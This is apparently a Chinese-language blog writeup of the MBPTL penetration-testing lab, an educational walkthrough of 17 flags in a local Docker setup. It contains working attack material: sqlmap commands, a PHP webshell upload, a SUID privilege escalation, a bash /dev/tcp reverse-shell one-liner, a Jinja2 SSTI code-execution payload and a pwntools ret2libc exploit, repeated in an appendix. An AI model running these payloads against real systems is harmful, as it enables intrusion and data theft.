> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# MBPTL 完整滲透 Writeup
- URL: https://taiwanding.com/mbptl-wan-zheng-shen-tou-writeup/
- Published: 2026-07-16T08:21:27.000Z
- Updated: 2026-07-20T07:18:40.000Z
- Author: Kevin Chen
- Tags: #MBPTL, machine, #vulnmachines, #penetration testing

> **Most Basic Penetration Testing Lab** —   
> 從環境架設到 17 面旗的完整攻擊鏈紀錄，  
> 每一步拆成三層講：**概念(是什麼)→ 為什麼(原理)→ 怎麼做(指令)**。  
> Flag 值一律以 `Redacted` 呈現，不揭露實際值。  
> [https://github.com/bayufedra/MBPTL](https://github.com/bayufedra/MBPTL?ref=taiwanding.com)

## 0\. 靶場概觀與方法論

MBPTL 把一條完整的 **kill chain** 濃縮成 17 面旗，橫跨 7 個階段:偵察 → Web 列舉 → SQL 注入 → 後滲透/提權 → SOC 鑑識 → 內網橫向移動 → 二進位利用，它的設計價值不在單一漏洞，而在**縱深**——你必須先深挖唯一的對外入口拿到立足點，再以它為跳板橫向展開到兩個純內網服務。

整個環境由 3 個 Docker 容器組成:

| 容器             | 網段 IP      | 對外埠       | 角色                                           |
| -------------- | ---------- | --------- | -------------------------------------------- |
| mbptl-main     | 172.23.0.2 | 80, 8080  | 對外入口:書店網站 (SQLi) + admin panel (file upload) |
| mbptl-app      | 172.23.0.4 | 5000（內網）  | Flask 服務，Jinja2 SSTI                         |
| mbptl-internal | 172.23.0.3 | 31337（內網） | custom binary 服務，buffer overflow             |

**關鍵拓撲**:只有 `mbptl-main` 對外(80/8080)，5000 與 31337 沒有對外發布，只能在打下 main 之後、從內網去碰，這就是為什麼 Phase 6/7 必須靠 pivoting。

**貫穿全程的方法論**(比 flag 本身更值得記):

1. **偵察優先，行為帶路**:每個攻擊點都先觀察它「怎麼回應」，再決定 payload，不預設漏洞類型硬套。
2. **讀完整回應，不要只 grep flag string**:真實滲透沒有 `FLAG{}` 標記，旗子旁邊的憑證、路徑、結構才是推進的線索。
3. **假設不符就換角度**:檔名、路徑、行為跟預期不同時，環顧目錄/改變觀察方式，而不是硬撞同一面牆。

## 1\. 環境架設

### 概念

把靶場以 Docker Compose 拉起，三個容器 + 一個自訂 bridge 網路。

### 為什麼

自架 Docker 靶的好處是隔離、可重置、行為可控。用 Compose 一鍵起，壞了 `down -v` 清乾淨重來，不會污染主機。

### 怎麼做

```bash
git clone https://github.com/bayufedra/MBPTL
cd MBPTL/mbptl/
docker compose up -d
docker compose ps

```

確認三個容器都 `Up`:

```
NAME             STATUS   PORTS
mbptl-app        Up       5000/tcp
mbptl-internal   Up       31337/tcp
mbptl-main       Up       0.0.0.0:80->80/tcp, 0.0.0.0:8080->8080/tcp, 3306/tcp

```

> **踩坑提醒**:若 8080 被占(例如同機還跑著別的靶)，`mbptl-main` 會因 `port is already allocated` 起不來，先 `docker ps` 找出占用者、`docker compose down -v` 收掉，或改 `.env` 換埠。

**觀察埠的對外性**:`mbptl-main` 的 80/8080 有 `0.0.0.0:` 前綴 = 對外; `mbptl-app` 的 5000、`mbptl-internal` 的 31337 沒有前綴 = 純內網，這一眼就定義了攻擊順序。

## 2\. 攻擊面地圖

### 怎麼做

```bash
# 對外埠掃描
nmap -sV -p 80,8080 localhost

```

```
80/tcp   open  http  Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.41 ((Ubuntu))

```

兩個都是 Apache 2.4.4，典型 LAMP，SQLi 大概率 PHP + MySQL。

```bash
# 爆 80 的目錄
gobuster dir -u http://localhost:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,txt -t 40 -q

```

關鍵發現:`/detail.php`(帶參數的單筆查詢頁 → SQLi 嫌疑)、`/index.php`、`/img/`、`/inc/`。

## Phase 1 — 偵察 (Flag 1–3)

### Flag 1 — HTML 註解

**概念**:網頁原始碼裡的 `<!-- -->` 註解常被開發者遺留敏感資訊。

**為什麼**:註解不會顯示在渲染後的頁面，開發者容易忘記它仍在原始碼中對任何人可見，這是最基礎的資訊洩漏。

**怎麼做**:

```bash
curl -s http://localhost:80/index.php | grep -iE '<!--|flag'

```

```
<!-- MBPTL-1{Redacted} -->

```

### Flag 2 — HTTP Header

**概念**:伺服器回應的 HTTP header 裡藏 flag(此處是自訂 header `X-MBPTL`)。

**為什麼**:HTTP header 是伺服器與客戶端溝通的元資料層，一般使用者不會注意，但對攻擊者是標準偵察面——自訂 header、版本資訊、cookie 都在這。

**怎麼做**:

```bash
curl -s -I http://localhost:80/

```

```
X-MBPTL: MBPTL-2{Redacted}

```

### Flag 3 — 替代 Web 服務 (8080)

**概念**:主服務之外的第二個 web 服務，常被忽略。

**為什麼**:同一台主機開多個 web 埠是常見架構(前台/後台分離)，攻擊者必須枚舉所有埠，次要服務往往防護較弱——這裡 8080 就是後台 admin panel 的入口。

**怎麼做**:

```bash
curl -s http://localhost:8080/ | head -40

```

首頁是「Under Maintenance」偽裝頁，但 body 裡直接印著:

```
MBPTL-3{Redacted}

```

> **教訓**:別只 grep HTML 註解，整頁 body 掃過去——這面旗就在維護頁的可見文字裡，不在註解。

## Phase 2 — Web 列舉 (Flag 4)

### 概念

枚舉出隱藏的管理後台路徑 `/administrator/`。

### 為什麼

管理面板是高價值目標(通常通往檔案上傳、設定修改)，目錄枚舉是 web 滲透的核心步驟——很多入口沒有連結指向，只能靠字典爆破或已知路徑猜測。

### 怎麼做

```bash
curl -s -i http://localhost:8080/administrator/ | head -40

```

回 200,是一個 **Login Page**,並發了 `PHPSESSID` cookie，Flag 印在登入頁 body:

```
MBPTL-4{Redacted}

```

**這個登入框是後續 Phase 3 的終點**:SQLi 撈出的帳密要回來登入這裡(Flag 7)，進去才有 file upload，攻擊鏈在此埋下伏筆。

## Phase 3 — SQL Injection (Flag 5–7)

### Flag 5 — SQLi 漏洞確診

**概念**:`detail.php?id=` 的 `id` 參數未過濾，直接拼進 SQL 查詢。

**為什麼**:SQL 注入的本質是「資料被當成程式碼執行」，當使用者輸入未經參數化就拼進查詢字串，一個單引號 `'` 就能閉合原本的字串、破壞語法，伺服器吐出的錯誤訊息會洩漏後端結構。

**怎麼做**:

```bash
# 正常值(基準)
curl -s "http://localhost:80/detail.php?id=1" | head -30
# 單引號觸發語法錯誤
curl -s "http://localhost:80/detail.php?id=1'" | head -30

```

單引號那發直接爆:

```
Error: You have an error in your SQL syntax; ... near '' LIMIT 1' at line 1
MBPTL-5{Redacted}

```

**從錯誤還原後端查詢**:`... near '' LIMIT 1'` 揭露 SQL 大概是 `SELECT ... FROM books WHERE id='$id' LIMIT 1`，這是**字串型注入、單引號閉合、尾隨 LIMIT 1**——最好打的 error-based / UNION 場景。

### Flag 6 — 用 SQLMap 撈 DB flag

**概念**:自動化工具把注入點轉為完整資料庫讀取。

**為什麼**:手工 UNION 注入可行但慢，SQLMap 自動判定注入型別、指紋 DBMS、枚舉庫/表/欄位並 dump——這是階段指定的工具，學會它的工作流是重點。

**怎麼做**:

```bash
# 落庫 + 列所有 database
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch --dbs

```

SQLMap 確認四種注入型別全中(boolean-based / error-based / time-based / UNION, 5 欄)，列出 database，目標庫是 `administrator` 與 `bookstore`。

```bash
# 列 administrator 庫的表
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator --tables

```

得到兩張表:`flag`、`users`，dump `flag` 表:

```bash
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T flag --dump

```

```
+----+-------------------+
| id | flag              |
+----+-------------------+
| 1  | MBPTL-6{Redacted} |
+----+-------------------+

```

### Flag 7 — 撈憑證登入 admin panel

**概念**:從 `users` 表 dump 出 admin 帳密，登入 8080 的後台。

**為什麼**:SQLi 不只讀 flag,更重要的是撈出**可重用的憑證**，拿到 admin 密碼 = 拿到管理後台 = 通往檔案上傳與 RCE，這是「一個漏洞打開下一扇門」的縱深。

**怎麼做**:

```bash
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T users --dump

```

SQLMap 發現密碼是 MD5，順手用內建字典破解:

```
+----+----------------------------------------------+----------+
| id | password                                     | username |
+----+----------------------------------------------+----------+
| 1  | 8a24367a...(P@ssw0rd!)                        | admin    |
+----+----------------------------------------------+----------+

```

拿 `admin` / `P@ssw0rd!` 登入，Flag 7 印在登入後的 dashboard:

```bash
curl -s -c /tmp/mbptl.jar -b /tmp/mbptl.jar -L \
  -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/

```

```
MBPTL-7{Redacted}

```

> **概念補充**:MD5 是無鹽快速雜湊，對字典/彩虹表毫無抵抗力，`P@ssw0rd!` 這種常見密碼幾秒就破，這暗示了地圖「password cracking」階段——SQLMap 幫你做掉了。

## Phase 4 — 後滲透與提權 (Flag 8–9)

### 上傳 webshell 取得 RCE

**概念**:admin panel 的「Insert Book」功能有圖片上傳，但未驗證檔案類型/副檔名，可上傳 PHP webshell。

**為什麼**:file upload 漏洞的核心是「伺服器信任了使用者控制的檔案」，前端的 `accept="image/*"` 只是瀏覽器提示，對直接構造的 HTTP 請求毫無約束，只要伺服器把 `.php` 存進 webroot 且 Apache 會解析它，上傳的檔案就變成可執行的後門。

**怎麼做**:

先看上傳表單結構:

```bash
curl -s -b /tmp/mbptl.jar http://localhost:8080/administrator/admin.php | grep -iE '<form|<input|name='

```

欄位:`title` / `author` / `description`(必填文字)+ `image`(檔案，`accept="image/*"`)。

構造 webshell 並上傳(偽造 MIME 繞過可能的 content-type 檢查):

```bash
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/mbptl.jar \
  -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

```

回 `Book inserted successfully!` — 上傳成功，但**回應不吐落地路徑**。

### 定位 webshell 落點(關鍵技巧)

**概念**:上傳成功 ≠ 知道檔案在哪，伺服器把檔案改名(MD5)並放進非預設目錄。

**為什麼**:盲目掃 `/img/sh.php` 全 404，因為(1)檔名被改成雜湊、(2)目錄不是預期的。最快的定位法不是暴力爆破，而是**回到列表頁看伺服器怎麼引用你的檔案**——書封圖片的 `<img src>` 會洩漏真實路徑。

**怎麼做**:

前端上傳一張圖後，回書店頁面查看新書封面的圖片位址，得到:

```
http://localhost:8080/administrator/uploads/<md5>.php

```

兩個坑一次揭曉:目錄是 `administrator/uploads/`、檔名被 MD5 重命名、但**副檔名保留 `.php`** → 會被 Apache 當 PHP 執行。

觸發 RCE:

```bash
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"

```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

### Flag 8 — User flag

```bash
curl -s "$WS?c=ls+-la+/flag"
curl -s "$WS?c=cat+/flag/user.txt"

```

```
---------- 1 root root  43 ... root.txt     ← 權限 000,www-data 讀不到
-rw-rw-r-- 1 root root  43 ... user.txt     ← 可讀
MBPTL-8{Redacted}

```

### Flag 9 — Root flag(SUID 提權)

**概念**:`root.txt` 權限為 `000`，必須提權到 root 才能讀，提權入口是一個仿冒名的 SUID binary。

**為什麼**:SUID(Set-User-ID)位讓程式以**檔案擁有者的身分**執行，而非呼叫者，若一個 root 擁有的 SUID 程式能執行 shell，任何人跑它都能取得 root，標準提權偵察第一步就是找 SUID 檔。

**怎麼做**:

```bash
curl -s "$WS?c=find+/+-perm+-4000+-type+f+2>/dev/null"

```

清單裡混著一個拼錯的名字:

```
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
...
/usr/bin/bahs        ← 注意!不是 bash,是 ba**hs**

```

`bahs` 是仿 `bash` 拼反的後門 SUID，確認它:

```bash
curl -s "$WS?c=ls+-la+/usr/bin/bahs"

```

```
-rwsr-sr-x 1 root root 16784 ... /usr/bin/bahs    ← s 位 = SUID + SGID,屬主 root

```

它是個 setuid shell，**關鍵細節**:webshell 是非互動環境，裸跑 `bahs` 會開 shell 但沒 stdin; 必須用 `-c` 或管線餵指令:

```bash
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'id; cat /flag/root.txt'"

```

```
uid=0(root) gid=0(root) groups=0(root),33(www-data)
MBPTL-9{Redacted}

```

> **概念補充**:為什麼要 `-c`?非互動 `system()` 呼叫下，`bahs` 起了 shell 卻立即因 EOF 結束(沒有互動 stdin)，用 `-c 'command'` 直接把指令當參數傳，shell 執行完回傳結果——這個「非互動環境用 -c 餵 SUID shell」的細節，後面在提權為互動 shell 時還會再遇到。

## Phase 5 — SOC 分析 (Flag 10–12)

### 概念

以 root 身分讀取系統日誌、命令歷史、shell 設定——這是防守方(SOC)的鑑識視角，反過來對攻擊者是「翻箱倒櫃找殘留資訊」。

### 為什麼

拿到最高權限後，`/root` 家目錄、系統 log 是資訊金礦:歷史指令可能洩漏內網結構、密碼、其他服務的存取方式，SOC 階段教你「攻擊者/管理員做過什麼，都寫在 log 裡」。

### 關鍵坑:非互動 setuid 撐不住

先前用 webshell + `bahs -c` 直接 grep 這些檔**全部空回**，但 `cat /flag/root.txt` 卻成功，差別在:

- `cat /flag/root.txt` 是單一短指令，`bahs` 的 setuid 有效 UID=0 撐得住。
- `timeout 15 grep ...` 這種**先啟動 timeout(www-data)再 fork grep**，euid 掉回 www-data,讀不到 root-only 檔。

**解法:彈一個互動 reverse shell,在互動環境裡 `bahs` 的 setuid 才穩定保持。**

### 建立互動 root shell

```bash
# 探工具(這容器只有 bash,沒有 nc/python)
curl -s -G "$WS" --data-urlencode "c=which bash nc python3"
# → 只有 /usr/bin/bash

# 查靶場 network 的 gateway(容器連回 host 用)
docker network inspect mbptl_default | grep -i gateway
# → 172.23.0.1

```

**終端機 A(先開監聽)**:

```bash
nc -lvnp 4444

```

**終端機 B(觸發 bash /dev/tcp 反彈)**:

```bash
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

```

進來是 www-data，升級 TTY + 提權:

```bash
id                              # www-data
script -qc /bin/bash /dev/null  # 沒 python,用 script 開 PTY
/usr/bin/bahs                   # 互動環境下 setuid 穩定保持
id                              # uid=0(root)

```

### 收 Flag 10–12

現在是穩定 root TTY，直接讀:

```bash
grep -ra 'MBPTL-1[012]' / 2>/dev/null

```

```
/var/log/apache2/access.log:FLAG10='MBPTL-10{Redacted}'
/root/.bash_history:FLAG11='MBPTL-11{Redacted}'
/root/.bashrc:FLAG12='MBPTL-12{Redacted}'

```

- **Flag 10**:Apache access log — 攻擊者的請求全記在這。
- **Flag 11**:root 的 `.bash_history` — 歷史指令。
- **Flag 12**:root 的 `.bashrc` — shell 設定檔的環境變數。

## Phase 6 — 網路 Pivoting 與 SSTI (Flag 13–14)

### 網路偵察:發現內網服務

**概念**:以被攻陷的 main 容器為跳板，枚舉只在內網存活的服務。

**為什麼**:5000 與 31337 沒有對外發布，從外部完全看不到，只有站在 main 內部，才能透過 Docker 內建 DNS 或掃網段發現它們，這是橫向移動(pivoting)的核心——「用一個立足點去看見更多的網路」。

**怎麼做**(在 root shell 內):

```bash
cat /etc/hosts                          # main 自己是 172.23.0.2
getent hosts mbptl-app mbptl-internal   # 靠 Docker DNS 解析服務名

```

```
172.23.0.4      mbptl-app        ← Flask (5000)
172.23.0.3      mbptl-internal   ← binary (31337)
which curl      → main 有 curl,可直接打 HTTP 服務

```

### Flag 13 — 發現內網 Flask app

**概念**:透過 main 的 curl 存取內網 5000 服務。

**為什麼**:一旦確認 main 能路由到 `mbptl-app:5000`，就能把 main 當代理去打它，不必架 tunnel(因為目標是 HTTP，curl 就夠)。

**怎麼做**:

```bash
curl -s http://mbptl-app:5000/ | head -60

```

```html
<h1>MBPTL - Internal Web Service</h1>
<p>Hello, World! (/?name=)</p>          ← 注入點就標在臉上:?name=
<p>MBPTL-13{Redacted}</p>

```

### Flag 14 — Jinja2 SSTI (Server-Side Template Injection)

**概念**:`?name=` 參數被直接拼進 Jinja2 模板字串，導致模板注入 → RCE。

**為什麼**:SSTI 的本質跟 SQLi 同源——「使用者輸入被當成程式碼(模板語法)執行」。當後端寫成 `render_template_string("...%s..." % user_input)`，使用者的輸入變成模板的一部分，Jinja2 會渲染其中的 `{{ }}` 表達式，進而存取 Python 物件、模組，最終 RCE。

**怎麼做**:

第一步，確認是不是 SSTI —— 送數學表達式看會不會被計算:

```bash
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # {{7*7}}

```

回 `Hello, 49` → **SSTI 確診**(輸入被當 Jinja2 表達式求值)。

第二步，`{{config}}` 印出 Flask Config 物件，確認是 Jinja2 引擎:

```bash
curl -s "http://mbptl-app:5000/?name=%7b%7bconfig%7d%7d"
# → 渲染出完整 <Config {...}> 物件

```

第三步，升級到 RCE，透過 Jinja2 的物件鏈存取 `os` 模組執行指令:

```bash
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null; ls -la /').read() }}"

```

```
MBPTL-14{Redacted}

```

**漏洞根因**(讀 source 確認):

```python
name = request.args.get('name', 'World! (/?name=)')
return render_template_string("""...<p>Hello, %s</p>...""" % name)

```

致命的是 `render_template_string(... % name)` —— 先用 `%` 把使用者輸入**拼進模板字串**,再交給 Jinja2 渲染，正確寫法應該把 `name` 當 context 變數傳入(`render_template_string(TEMPLATE, name=name)`)，讓它只當資料、不當模板語法。

> **payload 拆解**:`cycler` 是 Jinja2 內建物件，`.__init__.__globals__` 拿到它所在模組的全域命名空間，裡面能摸到 `os` 模組，`.popen(cmd).read()` 執行系統指令並讀回輸出，這是繞過 `{{7*7}}` 之後標準的 Jinja2 RCE 鏈之一。

## Phase 7 — Binary Exploitation (Flag 15–17)

### 前置:離線靜態分析

後台有顆按鈕 `Download Binary for MBPTL Internal Service`(`/administrator/main`)，下載的正是 31337 服務的本體，逆向的第一步永遠是靜態分析。

```bash
file main
# → ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

```

`not stripped`(有符號)+ 動態連結，逆向會很輕鬆，查保護機制:

```bash
readelf -l main | grep -iE 'STACK|GNU_RELRO'
readelf -h main | grep Type
# Type: EXEC        → No PIE,位址固定
# GNU_STACK RWE 空  → NX 可能關閉

```

**No PIE + 無 canary** \= buffer overflow 教科書場景(位址可寫死，無 stack canary 阻擋覆蓋 return address)。

### Flag 15 — Binary 內嵌 flag(逆向還原)

**概念**:flag 以立即數(immediate)形式編譯進程式碼，`strings` 抓不到完整值。

**為什麼**:`strings` 只能抓連續的可見字元，但編譯器把 flag 拆成 8 bytes 一組，用一連串 `movabs rax, <8 bytes>` 塞進暫存器再寫到堆疊組回來，這些指令之間夾著機器碼(`48 89 85 ...`),把 flag 字串切斷了。

**怎麼做**:

```bash
strings main | grep MBPTL-15
# → 只看到 "MBPTL-15" 碎片,被機器碼截斷

```

反組譯 main() 看它怎麼組 flag:

```bash
objdump -d -M intel main | sed -n '/<main>:/,/ret/p'

```

```asm
movabs rax, 0x35312d4c5450424d   ; "MBPTL-15" (小端)
mov    [rbp-0x100], rax
movabs rax, 0x313761633462637b   ; "{cb4ca71"
mov    [rbp-0xf8], rax
movabs rax, 0x3861666235313133   ; "3115bfa8"
...

```

把每個 `movabs` 的立即數按小端還原、串接，即得完整 flag:

```
MBPTL-15{Redacted}

```

> **教訓**:「明明有 flag 卻 grep 不到」→ 大機率是被拆成立即數塞進程式碼，從 `movabs` 序列還原。

### Flag 16 — 連上內網 binary 服務

**概念**:連到 `mbptl-internal:31337`，服務 banner 直接吐 Flag 16。

**為什麼**:31337 是純內網，得從 main(有 pivot 能力)去連，main 沒有 nc/python，但 bash 有 `/dev/tcp` 偽裝置可以建 TCP 連線。

**怎麼做**(main root shell 內):

```bash
exec 3<>/dev/tcp/mbptl-internal/31337
cat <&3 &
echo "test" >&3

```

```
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16: MBPTL-16{Redacted}
[>] Name: [*] Welcome, test!

```

> 你的 Kali 若能直接路由到 docker 網段(host 通常可以)，也能直接 `nc -v 172.23.0.3 31337` 拿到同樣的 banner。

### Flag 17 — Buffer Overflow (ret2libc)

**概念**:服務用 `gets()` 讀 Name，無邊界檢查 → 溢位覆蓋 return address → ret 到 binary 內的 `system("/bin/sh")`。

**為什麼**:`gets()` 是永遠不該用的函式——它不限制輸入長度，你要多長給多長，直接淹過堆疊上的緩衝區、蓋掉 saved RBP 與 return address，當程式 `ret` 時，CPU 跳到我們控制的位址，因為 No PIE(位址固定)、binary 內有 `system@plt` 和 `/bin/sh` 字串，我們構造一條 ROP 鏈:`pop rdi; ret` 把 `/bin/sh` 位址載入 rdi,再跳 `system`,等同呼叫 `system("/bin/sh")`。

**怎麼做**:

反組譯定位溢位點:

```bash
objdump -d -M intel main | sed -n '/<main>:/,/ret/p'

```

```asm
lea rax,[rbp-0x80]    ; buffer 在 rbp-0x80
call gets@plt        ; 溢位點

```

計算 offset:buffer 在 `[rbp-0x80]` \= 128 bytes 到 saved RBP,再 +8 到 return address → **offset = 136**。

蒐集 ROP 元件(No PIE，file offset + 0x400000 = 記憶體位址):

```bash
# pop rdi; ret gadget (機器碼 5f c3)
python3 -c "import re; d=open('main','rb').read(); print([hex(m.start()+0x400000) for m in re.finditer(b'\x5f\xc3', d)])"
# → 0x400873

# /bin/sh 字串
strings -t x main | grep /bin/sh    # file 0x898 → 記憶體 0x400898

# system@plt (反組譯裡的 call 位址)
# → 0x400570

```

**exploit(pwntools**，**在 Kali 直連 172.23.0.3:31337)**:

```python
from pwn import *

p = remote('172.23.0.3', 31337)

POP_RDI = 0x400873   # pop rdi ; ret
BINSH   = 0x400898   # "/bin/sh"
SYSTEM  = 0x400570   # system@plt

payload  = b'A' * 136          # 填滿 buffer 到 return address
payload += p64(POP_RDI)        # ret → pop rdi; ret
payload += p64(BINSH)          # rdi = "/bin/sh"
payload += p64(SYSTEM)         # → system("/bin/sh")

p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()

```

執行後拿到 shell,讀 flag:

```bash
$ id
uid=65534(nobody) gid=65534(nogroup)
$ ls -la
... flag.txt ...          # 注意:沒有 flag17.txt,flag 在 flag.txt
$ cat flag.txt
MBPTL-17{Redacted}

```

> **踩坑**:預期讀 `flag17.txt` 卻不存在，`ls` 後發現 flag 在 `flag.txt`，再次印證「環顧目錄，別假設檔名」，回顯裡的 `...s\x08@` 正是 gadget 位址 `0x400873` 洩在 `Welcome, %s` 中，證明 offset 精準。

## 附錄 A — 完整 exploit 腳本

### A.1 SQLi 撈憑證(Phase 3)

```bash
TARGET="http://localhost:80/detail.php?id=1"
sqlmap -u "$TARGET" -p id --batch --dbs
sqlmap -u "$TARGET" -p id --batch -D administrator --tables
sqlmap -u "$TARGET" -p id --batch -D administrator -T flag  --dump   # Flag 6
sqlmap -u "$TARGET" -p id --batch -D administrator -T users --dump   # 憑證 → Flag 7

```

### A.2 Webshell 上傳 + RCE + 提權(Phase 4)

```bash
# 登入拿 session
curl -s -c /tmp/j -b /tmp/j -L -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/

# 上傳 webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/j -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

# 落點靠前端看 <img src> 定位,得到 <md5>.php
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"                                                        # RCE
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'cat /flag/root.txt'"  # 提權

```

### A.3 Reverse shell(Phase 5 前置)

```bash
# 監聽端(Kali 終端機 A)
nc -lvnp 4444

# 觸發端(透過 webshell,GW = docker network gateway)
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

# 進來後:script -qc /bin/bash /dev/null → /usr/bin/bahs → uid=0

```

### A.4 SSTI RCE(Phase 6)

```bash
# 確認
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # → 49
# RCE
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null').read() }}"

```

### A.5 Buffer Overflow(Phase 7)

```python
from pwn import *
p = remote('172.23.0.3', 31337)
payload  = b'A'*136 + p64(0x400873) + p64(0x400898) + p64(0x400570)
p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()   # cat flag.txt

```

## 附錄 B — 踩過的坑與教訓

這些是打這台靶時真實卡住、然後突破的點，比 flag 本身更值得記住:

| # | 卡點                                 | 為什麼卡                                    | 突破                                             |
| - | ---------------------------------- | --------------------------------------- | ---------------------------------------------- |
| 1 | webshell 上傳成功但掃不到                  | 檔名被 MD5 改、目錄非預設                         | 前端上傳後回列表頁看 <img src> 洩漏路徑                      |
| 2 | bahs -c 'cat root.txt' 成功但 grep 全空 | 非互動 + timeout fork 打斷 setuid 鏈          | 彈互動 reverse shell,setuid 才穩定保持                 |
| 3 | reverse shell 彈了沒回來                | 用錯 gateway IP(自訂 network 不是 172.17.0.1) | docker network inspect 查真實 gateway(172.23.0.1) |
| 4 | Flag 15 grep 不到                    | flag 被拆成 movabs 立即數編進程式碼                | 從反組譯的 movabs 序列小端還原                            |
| 5 | 預期 flag17.txt 不存在                  | 檔名跟地圖假設不同                               | ls 環顧目錄，flag 在 flag.txt                        |

### 這台靶的完整攻擊鏈一句話總結

> 對外 SQLi 撈出 admin 憑證 → 登入後台上傳 webshell 拿 www-data RCE → 仿名 SUID `bahs` 提權 root → 讀日誌完成 SOC 鑑識 → 以 main 為跳板橫向移動，對內網 Flask 打 Jinja2 SSTI、對內網 binary 打 ret2libc buffer overflow → 17 面旗收官。

*Writeup 完 — 17/17，理解原理，勝過收集旗子。*